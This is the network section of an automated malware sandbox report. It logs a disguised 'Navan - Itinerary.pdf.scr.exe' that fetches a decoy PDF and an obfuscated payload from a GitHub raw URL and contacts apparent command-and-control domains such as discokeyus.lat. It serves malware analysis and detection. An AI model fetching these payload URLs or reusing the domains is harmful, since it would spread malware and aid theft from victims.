Dec 21, 2024 13:18:38.354892015 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:38.355025053 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.355046988 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:38.355178118 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.355201960 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:38.355356932 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.355385065 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:38.355393887 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.355663061 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.355695963 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.403331041 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:38.403491974 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.403537989 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:38.447366953 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:41.734683990 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:41.734760046 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:41.734891891 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:41.735065937 CET	49768	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:41.735083103 CET	443	49768	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:41.741308928 CET	49784	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:41.741326094 CET	443	49784	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:41.741509914 CET	49784	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:41.741849899 CET	49784	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:41.741863966 CET	443	49784	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:42.956662893 CET	443	49784	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:42.956760883 CET	49784	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:42.974689960 CET	49784	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:42.974701881 CET	443	49784	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:42.975483894 CET	443	49784	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:42.995738983 CET	49784	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:42.995754957 CET	49784	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:42.995805979 CET	443	49784	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:43.752666950 CET	443	49784	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:43.752932072 CET	443	49784	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:43.752996922 CET	49784	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:43.753148079 CET	49784	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:43.753158092 CET	443	49784	172.67.197.170	192.168.2.7
Dec 21, 2024 13:18:43.753169060 CET	49784	443	192.168.2.7	172.67.197.170
Dec 21, 2024 13:18:43.753173113 CET	443	49784	172.67.197.170	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 13:18:14.215208054 CET	61872	53	192.168.2.7	1.1.1.1
Dec 21, 2024 13:18:14.352375984 CET	53	61872	1.1.1.1	192.168.2.7
Dec 21, 2024 13:18:21.471757889 CET	58991	53	192.168.2.7	1.1.1.1
Dec 21, 2024 13:18:21.697307110 CET	53	58991	1.1.1.1	192.168.2.7
Dec 21, 2024 13:18:21.706231117 CET	60934	53	192.168.2.7	1.1.1.1
Dec 21, 2024 13:18:21.844022036 CET	53	60934	1.1.1.1	192.168.2.7
Dec 21, 2024 13:18:21.859167099 CET	49217	53	192.168.2.7	1.1.1.1
Dec 21, 2024 13:18:21.997839928 CET	53	49217	1.1.1.1	192.168.2.7
Dec 21, 2024 13:18:27.309855938 CET	57168	53	192.168.2.7	1.1.1.1
Dec 21, 2024 13:18:40.506823063 CET	62719	53	192.168.2.7	1.1.1.1
Dec 21, 2024 13:18:54.038906097 CET	54171	53	192.168.2.7	1.1.1.1
Dec 21, 2024 13:19:18.164113998 CET	56434	53	192.168.2.7	1.1.1.1
Dec 21, 2024 13:19:42.242022991 CET	63396	53	192.168.2.7	1.1.1.1
Dec 21, 2024 13:20:06.335791111 CET	58648	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 21, 2024 13:18:14.215208054 CET	192.168.2.7	1.1.1.1	0xedf1	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:21.471757889 CET	192.168.2.7	1.1.1.1	0xf1a9	Standard query (0)	stem-mellows.cyou	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:21.706231117 CET	192.168.2.7	1.1.1.1	0xcce	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:21.859167099 CET	192.168.2.7	1.1.1.1	0xb6ba	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:27.309855938 CET	192.168.2.7	1.1.1.1	0xb7f9	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:40.506823063 CET	192.168.2.7	1.1.1.1	0x5f5f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:54.038906097 CET	192.168.2.7	1.1.1.1	0x2fe4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:19:18.164113998 CET	192.168.2.7	1.1.1.1	0xb890	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:19:42.242022991 CET	192.168.2.7	1.1.1.1	0x9a92	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:20:06.335791111 CET	192.168.2.7	1.1.1.1	0x3920	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 21, 2024 13:18:14.352375984 CET	1.1.1.1	192.168.2.7	0xedf1	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:14.352375984 CET	1.1.1.1	192.168.2.7	0xedf1	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:14.352375984 CET	1.1.1.1	192.168.2.7	0xedf1	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:14.352375984 CET	1.1.1.1	192.168.2.7	0xedf1	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:21.697307110 CET	1.1.1.1	192.168.2.7	0xf1a9	Name error (3)	stem-mellows.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:21.844022036 CET	1.1.1.1	192.168.2.7	0xcce	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:21.997839928 CET	1.1.1.1	192.168.2.7	0xb6ba	No error (0)	discokeyus.lat		172.67.197.170	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:21.997839928 CET	1.1.1.1	192.168.2.7	0xb6ba	No error (0)	discokeyus.lat		104.21.21.99	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:25.669167995 CET	1.1.1.1	192.168.2.7	0x476	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:25.669167995 CET	1.1.1.1	192.168.2.7	0x476	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 21, 2024 13:18:27.549725056 CET	1.1.1.1	192.168.2.7	0xb7f9	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 21, 2024 13:18:40.644925117 CET	1.1.1.1	192.168.2.7	0x5f5f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 21, 2024 13:18:54.276952028 CET	1.1.1.1	192.168.2.7	0x2fe4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 21, 2024 13:19:18.389977932 CET	1.1.1.1	192.168.2.7	0xb890	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 21, 2024 13:19:42.463949919 CET	1.1.1.1	192.168.2.7	0x9a92	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 21, 2024 13:20:06.729669094 CET	1.1.1.1	192.168.2.7	0x3920	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

discokeyus.lat

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	185.199.110.133	443	6920	C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 12:18:15 UTC	156	OUT	GET /AromatcHEBUYRKOS/chekingbebra/refs/heads/main/NavanItinerary.pdf HTTP/1.1 User-Agent: cs Host: raw.githubusercontent.com Cache-Control: no-cache
2024-12-21 12:18:16 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 51800 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "d32f4c1e80a62c4f5d8f857d33475518d5b7f4c7ed875b8a5eda1a9fbb6d7185" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C844:3EC87C:3E257F:4737C0:6766B1CA Accept-Ranges: bytes Date: Sat, 21 Dec 2024 12:18:15 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740052-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1734783496.884016,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: fbbf3889d611a946f2c8f17d04654899aedae650 Expires: Sat, 21 Dec 2024 12:23:15 GMT Source-Age: 61
2024-12-21 12:18:16 UTC	1378	IN	Data Raw: 25 50 44 46 2d 31 2e 34 0a 25 d3 eb e9 e1 0a 31 20 30 20 6f 62 6a 0a 3c 3c 2f 54 69 74 6c 65 20 28 4e 61 76 61 6e 20 2d 20 49 74 69 6e 65 72 61 72 79 29 0a 2f 43 72 65 61 74 6f 72 20 28 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 5c 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 5c 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 5c 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 5c 29 20 43 68 72 6f 6d 65 2f 31 32 38 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 29 0a 2f 50 72 6f 64 75 63 65 72 20 28 53 6b 69 61 2f 50 44 46 20 6d 31 32 38 29 0a 2f 43 72 65 61 74 69 6f 6e 44 61 74 65 20 28 44 3a 32 30 32 34 30 39 30 39 32 32 32 36 31 39 2b 30 30 27 30 30 27 29 0a 2f 4d 6f 64 44 61 74 65 20 28 Data Ascii: %PDF-1.4%1 0 obj<</Title (Navan - Itinerary)/Creator (Mozilla/5.0 $Windows NT 10.0; Win64; x64$ AppleWebKit/537.36 $KHTML, like Gecko$ Chrome/128.0.0.0 Safari/537.36)/Producer (Skia/PDF m128)/CreationDate (D:20240909222619+00'00')/ModDate (
2024-12-21 12:18:16 UTC	1378	IN	Data Raw: 5f d3 96 48 75 b8 9b ab 52 87 ea d2 9e ba 2a 4d 1b ec 46 bf 39 2b 6d 80 0d 79 76 45 e9 9e b4 82 62 13 dc 3b 2c 15 60 ec 3e 7f 8a f7 9c 1f 93 3b 9b cb 3a 47 6c 32 c1 1a d4 a8 fb 2c c4 11 28 cd 4d 56 25 b0 80 60 4c e7 b0 c5 6a 0b 20 eb 66 86 c5 2a 18 59 a0 74 31 1a 41 ab 58 b1 a6 18 03 5c ba 6a f7 c4 c0 41 48 6a 37 d2 ae b4 db c2 3e b9 68 15 4c 9a 84 0d 56 17 b4 9a 41 b8 f3 6e c5 10 d0 43 77 69 8e 31 20 e9 9a 09 59 05 0a d6 68 6b a6 a4 90 88 cf 09 51 b1 06 9c fe 77 cb b5 9e f2 27 79 f6 dd 6f 0e bf 3b fc ee f0 43 a6 4c da 7a 88 a8 8e 45 28 14 84 f8 96 14 72 3d d9 53 47 ab 5a 96 7f bd c9 94 3a 3e 5d dc 52 c7 b7 1f 0f af fe ad bc 7e fd ea b7 ef fe f5 7d c1 f2 e6 cd db f7 ef 0e af 3e 64 3e 5a 3e 7e 77 a0 29 07 a6 52 d3 90 ca c7 cf 87 d7 88 fc f6 4d f9 f8 5f 87 Data Ascii: _HuRMF9+myvEb;,`>;:Gl2,(MV%`Lj fYt1AX\jAHj7>hLVAnCwi1 YhkQw'yo;CLzE(r=SGZ:>]R~}>d>Z>~w)RM_
2024-12-21 12:18:16 UTC	1378	IN	Data Raw: 7a c1 36 ef 37 9b b1 0d 2c 66 a3 99 95 9e 56 9e 18 c7 4d b7 ad 28 cc 46 d7 3e 15 fa 99 6d 86 70 dc d8 48 f7 26 68 27 ee ad b6 e3 cc 60 63 61 be 69 60 3d d3 0c a0 6c 79 50 3b a3 87 f9 ac e0 76 d2 38 ce ba 31 eb f7 d3 3c 2b 5f e1 77 6d 85 55 4a 96 2c dc c7 df 77 17 a8 be d0 ed eb 54 4b bd aa 9a 7f ef 4c 71 dc c7 d6 85 b7 98 1c dc 25 77 57 03 e0 ab 7f ff ef 3f fc e5 f5 eb 57 0f 8f 7f fd df 3f 7c fa f8 c7 ff fb 6b f9 a7 ef fe fc cf e5 cd 9b 92 dc 4a fb cf c4 68 d7 1b 7f bf 71 b9 77 3e 8f f3 cc 21 2b 86 3d ed 59 31 02 42 b2 f9 d5 9e aa d2 3d 2f 0d 17 a8 5d d5 83 2a b0 25 5f fd 3a 63 c5 b7 0b 39 8d 77 f3 d0 ef 16 25 cc a6 97 fa c9 11 06 ca ea 68 47 e8 38 0e 88 2d 67 5a 36 97 6c c3 7b 4e e8 cf ab f4 85 3e 6b 57 e9 f5 31 67 86 7c 6a 31 17 5c e1 fd 72 bc a8 d3 b2 Data Ascii: z67,fVM(F>mpH&h'`cai`=lyP;v81<+_wmUJ,wTKLq%wW?W?\|kJhqw>!+=Y1B=/]*%_:c9w%hG8-gZ6l{N>kW1g\|j1\r
2024-12-21 12:18:16 UTC	1378	IN	Data Raw: 6e ca c7 4c 1c da c7 d0 a2 3e 0c 80 0f b9 2b b1 4b fd 71 3f 54 a8 c7 59 dd 96 ca 2d c9 dd f4 77 b7 ff b6 a9 9d d5 3e 5d 26 be cf f0 66 9b 9e eb fa 0b 87 95 c1 a2 f9 f1 61 be f5 b0 82 e5 1f 0b 3d 3a 7c c4 94 ff 07 ef 41 42 f2 0a 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 39 20 30 20 6f 62 6a 0a 3c 3c 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 0a 2f 4c 65 6e 67 74 68 20 35 35 35 3e 3e 20 73 74 72 65 61 6d 0a 78 9c bd 56 5d 6b 1b 31 10 7c d7 af d8 e7 42 95 5d ad 56 5a 41 09 c4 6e 9d e7 94 83 fe 80 b4 0d 14 1c 48 fa ff a1 f8 ce ee dd 81 07 5b 0f b1 9f ce 0c a3 d9 d9 2f 29 26 6d e3 8f 98 98 3e c7 c5 5f cf 12 9b b4 e6 f4 bc 0f 6f 81 a9 a4 68 a4 d6 a2 56 23 ad d1 e8 fd 57 f8 f1 89 5e c3 5b d0 28 c9 c6 33 e6 af e7 7d e0 f1 e3 fb 23 4d 1f Data Ascii: nL>+Kq?TY-w>]&fa=:\|ABendstreamendobj9 0 obj<</Filter /FlateDecode/Length 555>> streamxV]k1\|B]VZAnH[/)&m>_ohV#W^[(3}#M
2024-12-21 12:18:16 UTC	1378	IN	Data Raw: 2f 53 74 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 44 69 76 0a 2f 50 20 31 32 20 30 20 52 0a 2f 4b 20 5b 31 34 20 30 20 52 5d 0a 2f 49 44 20 28 6e 6f 64 65 30 30 30 30 33 37 32 30 29 3e 3e 0a 65 6e 64 6f 62 6a 0a 31 36 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 53 74 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 4e 6f 6e 53 74 72 75 63 74 0a 2f 50 20 31 35 20 30 20 52 0a 2f 4b 20 5b 3c 3c 2f 54 79 70 65 20 2f 4d 43 52 0a 2f 50 67 20 32 20 30 20 52 0a 2f 4d 43 49 44 20 31 3e 3e 5d 0a 2f 49 44 20 28 6e 6f 64 65 30 30 30 30 33 35 38 35 29 3e 3e 0a 65 6e 64 6f 62 6a 0a 31 35 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 53 74 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 44 69 76 0a 2f 50 20 31 32 20 30 20 52 0a 2f 4b 20 5b 31 36 20 30 20 52 5d 0a 2f 49 44 20 28 6e 6f Data Ascii: /StructElem/S /Div/P 12 0 R/K [14 0 R]/ID (node00003720)>>endobj16 0 obj<</Type /StructElem/S /NonStruct/P 15 0 R/K [<</Type /MCR/Pg 2 0 R/MCID 1>>]/ID (node00003585)>>endobj15 0 obj<</Type /StructElem/S /Div/P 12 0 R/K [16 0 R]/ID (no
2024-12-21 12:18:16 UTC	1378	IN	Data Raw: 67 20 32 20 30 20 52 0a 2f 4d 43 49 44 20 37 3e 3e 5d 0a 2f 49 44 20 28 6e 6f 64 65 30 30 30 30 33 35 39 33 29 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 37 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 53 74 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 44 69 76 0a 2f 50 20 31 32 20 30 20 52 0a 2f 4b 20 5b 32 38 20 30 20 52 5d 0a 2f 49 44 20 28 6e 6f 64 65 30 30 30 30 33 37 33 35 29 3e 3e 0a 65 6e 64 6f 62 6a 0a 33 30 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 53 74 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 4e 6f 6e 53 74 72 75 63 74 0a 2f 50 20 32 39 20 30 20 52 0a 2f 4b 20 5b 3c 3c 2f 54 79 70 65 20 2f 4d 43 52 0a 2f 50 67 20 32 20 30 20 52 0a 2f 4d 43 49 44 20 38 3e 3e 5d 0a 2f 49 44 20 28 6e 6f 64 65 30 30 30 30 33 35 39 34 29 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 39 Data Ascii: g 2 0 R/MCID 7>>]/ID (node00003593)>>endobj27 0 obj<</Type /StructElem/S /Div/P 12 0 R/K [28 0 R]/ID (node00003735)>>endobj30 0 obj<</Type /StructElem/S /NonStruct/P 29 0 R/K [<</Type /MCR/Pg 2 0 R/MCID 8>>]/ID (node00003594)>>endobj29
2024-12-21 12:18:16 UTC	1378	IN	Data Raw: 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 53 74 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 4e 6f 6e 53 74 72 75 63 74 0a 2f 50 20 34 31 20 30 20 52 0a 2f 4b 20 5b 3c 3c 2f 54 79 70 65 20 2f 4d 43 52 0a 2f 50 67 20 32 20 30 20 52 0a 2f 4d 43 49 44 20 31 34 3e 3e 5d 0a 2f 49 44 20 28 6e 6f 64 65 30 30 30 30 33 36 30 30 29 3e 3e 0a 65 6e 64 6f 62 6a 0a 34 31 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 53 74 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 44 69 76 0a 2f 50 20 31 32 20 30 20 52 0a 2f 4b 20 5b 34 32 20 30 20 52 5d 0a 2f 49 44 20 28 6e 6f 64 65 30 30 30 30 33 35 37 30 29 3e 3e 0a 65 6e 64 6f 62 6a 0a 34 34 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 53 74 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 4e 6f 6e 53 74 72 75 63 74 0a 2f 50 20 34 33 20 30 20 52 Data Ascii: obj<</Type /StructElem/S /NonStruct/P 41 0 R/K [<</Type /MCR/Pg 2 0 R/MCID 14>>]/ID (node00003600)>>endobj41 0 obj<</Type /StructElem/S /Div/P 12 0 R/K [42 0 R]/ID (node00003570)>>endobj44 0 obj<</Type /StructElem/S /NonStruct/P 43 0 R
2024-12-21 12:18:16 UTC	1378	IN	Data Raw: 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 44 69 76 0a 2f 50 20 31 32 20 30 20 52 0a 2f 4b 20 5b 35 34 20 30 20 52 5d 0a 2f 49 44 20 28 6e 6f 64 65 30 30 30 30 33 37 35 30 29 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 36 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 53 74 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 4e 6f 6e 53 74 72 75 63 74 0a 2f 50 20 35 35 20 30 20 52 0a 2f 4b 20 5b 3c 3c 2f 54 79 70 65 20 2f 4d 43 52 0a 2f 50 67 20 32 20 30 20 52 0a 2f 4d 43 49 44 20 32 31 3e 3e 5d 0a 2f 49 44 20 28 6e 6f 64 65 30 30 30 30 33 36 30 38 29 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 35 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 53 74 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 44 69 76 0a 2f 50 20 31 32 20 30 20 52 0a 2f 4b 20 5b 35 36 20 30 20 52 5d 0a 2f 49 44 20 28 6e 6f 64 65 Data Ascii: ructElem/S /Div/P 12 0 R/K [54 0 R]/ID (node00003750)>>endobj56 0 obj<</Type /StructElem/S /NonStruct/P 55 0 R/K [<</Type /MCR/Pg 2 0 R/MCID 21>>]/ID (node00003608)>>endobj55 0 obj<</Type /StructElem/S /Div/P 12 0 R/K [56 0 R]/ID (node
2024-12-21 12:18:16 UTC	1378	IN	Data Raw: 0a 2f 50 67 20 32 20 30 20 52 0a 2f 4d 43 49 44 20 32 37 3e 3e 5d 0a 2f 49 44 20 28 6e 6f 64 65 30 30 30 30 33 36 31 34 29 3e 3e 0a 65 6e 64 6f 62 6a 0a 36 37 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 53 74 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 44 69 76 0a 2f 50 20 31 32 20 30 20 52 0a 2f 4b 20 5b 36 38 20 30 20 52 5d 0a 2f 49 44 20 28 6e 6f 64 65 30 30 30 30 33 35 37 37 29 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 30 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 53 74 72 75 63 74 45 6c 65 6d 0a 2f 53 20 2f 4e 6f 6e 53 74 72 75 63 74 0a 2f 50 20 36 39 20 30 20 52 0a 2f 4b 20 5b 3c 3c 2f 54 79 70 65 20 2f 4d 43 52 0a 2f 50 67 20 32 20 30 20 52 0a 2f 4d 43 49 44 20 32 38 3e 3e 5d 0a 2f 49 44 20 28 6e 6f 64 65 30 30 30 30 33 36 31 35 29 3e 3e 0a 65 6e 64 6f Data Ascii: /Pg 2 0 R/MCID 27>>]/ID (node00003614)>>endobj67 0 obj<</Type /StructElem/S /Div/P 12 0 R/K [68 0 R]/ID (node00003577)>>endobj70 0 obj<</Type /StructElem/S /NonStruct/P 69 0 R/K [<</Type /MCR/Pg 2 0 R/MCID 28>>]/ID (node00003615)>>endo
2024-12-21 12:18:16 UTC	1378	IN	Data Raw: 52 20 33 38 20 30 20 52 20 34 30 20 30 20 52 20 34 32 20 30 20 52 20 34 34 20 30 20 52 20 34 36 20 30 20 52 20 34 38 20 30 20 52 20 35 30 20 30 20 52 20 35 32 20 30 20 52 20 35 34 20 30 20 52 20 35 36 20 30 20 52 20 35 38 20 30 20 52 20 36 30 20 30 20 52 20 36 32 20 30 20 52 20 36 34 20 30 20 52 20 36 36 20 30 20 52 20 36 38 20 30 20 52 20 37 30 20 30 20 52 20 37 32 20 30 20 52 20 37 34 20 30 20 52 20 37 36 20 30 20 52 5d 0a 65 6e 64 6f 62 6a 0a 37 38 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 50 61 72 65 6e 74 54 72 65 65 0a 2f 4e 75 6d 73 20 5b 30 20 37 37 20 30 20 52 5d 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 39 20 30 20 6f 62 6a 0a 3c 3c 2f 4c 69 6d 69 74 73 20 5b 28 6e 6f 64 65 30 30 30 30 33 35 36 30 29 20 28 6e 6f 64 65 30 30 30 30 33 37 36 32 29 5d Data Ascii: R 38 0 R 40 0 R 42 0 R 44 0 R 46 0 R 48 0 R 50 0 R 52 0 R 54 0 R 56 0 R 58 0 R 60 0 R 62 0 R 64 0 R 66 0 R 68 0 R 70 0 R 72 0 R 74 0 R 76 0 R]endobj78 0 obj<</Type /ParentTree/Nums [0 77 0 R]>>endobj79 0 obj<</Limits [(node00003560) (node00003762)]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	185.199.110.133	443	6920	C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 12:18:17 UTC	155	OUT	GET /AromatcHEBUYRKOS/chekingbebra/refs/heads/main/millliiiiion HTTP/1.1 Accept: / User-Agent: Chrome/95.0.4638.54 Host: raw.githubusercontent.com
2024-12-21 12:18:18 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 402776 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "c3e920dbef59fc3a3c019e65b37b7d4f4a9ad39def770189ecd20df7933f8e65" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 11DB:20D283:3DB261:46C797:6766B209 Accept-Ranges: bytes Date: Sat, 21 Dec 2024 12:18:18 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740045-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734783498.248470,VS0,VE76 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 8aca147c678b48fc76a87e92b1d7ffe5dadbe7a5 Expires: Sat, 21 Dec 2024 12:23:18 GMT Source-Age: 0
2024-12-21 12:18:18 UTC	1378	IN	Data Raw: 74 76 50 34 7d 7d 65 7d 7d 7d 7d 65 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 71 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 45 7d 7d 7d 7d 7d 34 46 55 47 34 7d 54 7d 4e 6e 69 42 47 7b 74 2f 30 48 76 7e 48 50 2d 59 7b 57 2d 4d 39 4e 2d 4d 66 54 69 7e 6e 48 42 4d 35 56 44 63 7b 49 3e 73 7b 59 44 77 34 47 3c 77 34 47 72 65 39 74 69 7e 31 56 3e 7e 75 55 6a 7d 7d 7d 75 65 75 7d 7d 65 57 7b 7b 7d 64 72 70 66 39 4e 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 64 47 7d 7d 69 7b 63 57 65 6f 7d 7d 64 53 7d 57 7d 7d 52 7d 7d 7d 7d 7d 7d 7d 7d 66 63 69 7d 7d 7d 7d 65 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 7d 71 7d 7d 7d 65 7d 7d 7d 7d 7d 69 7d 7d 7d 7c 7d 7d 7d 7d 7d 7d 7d 7d Data Ascii: 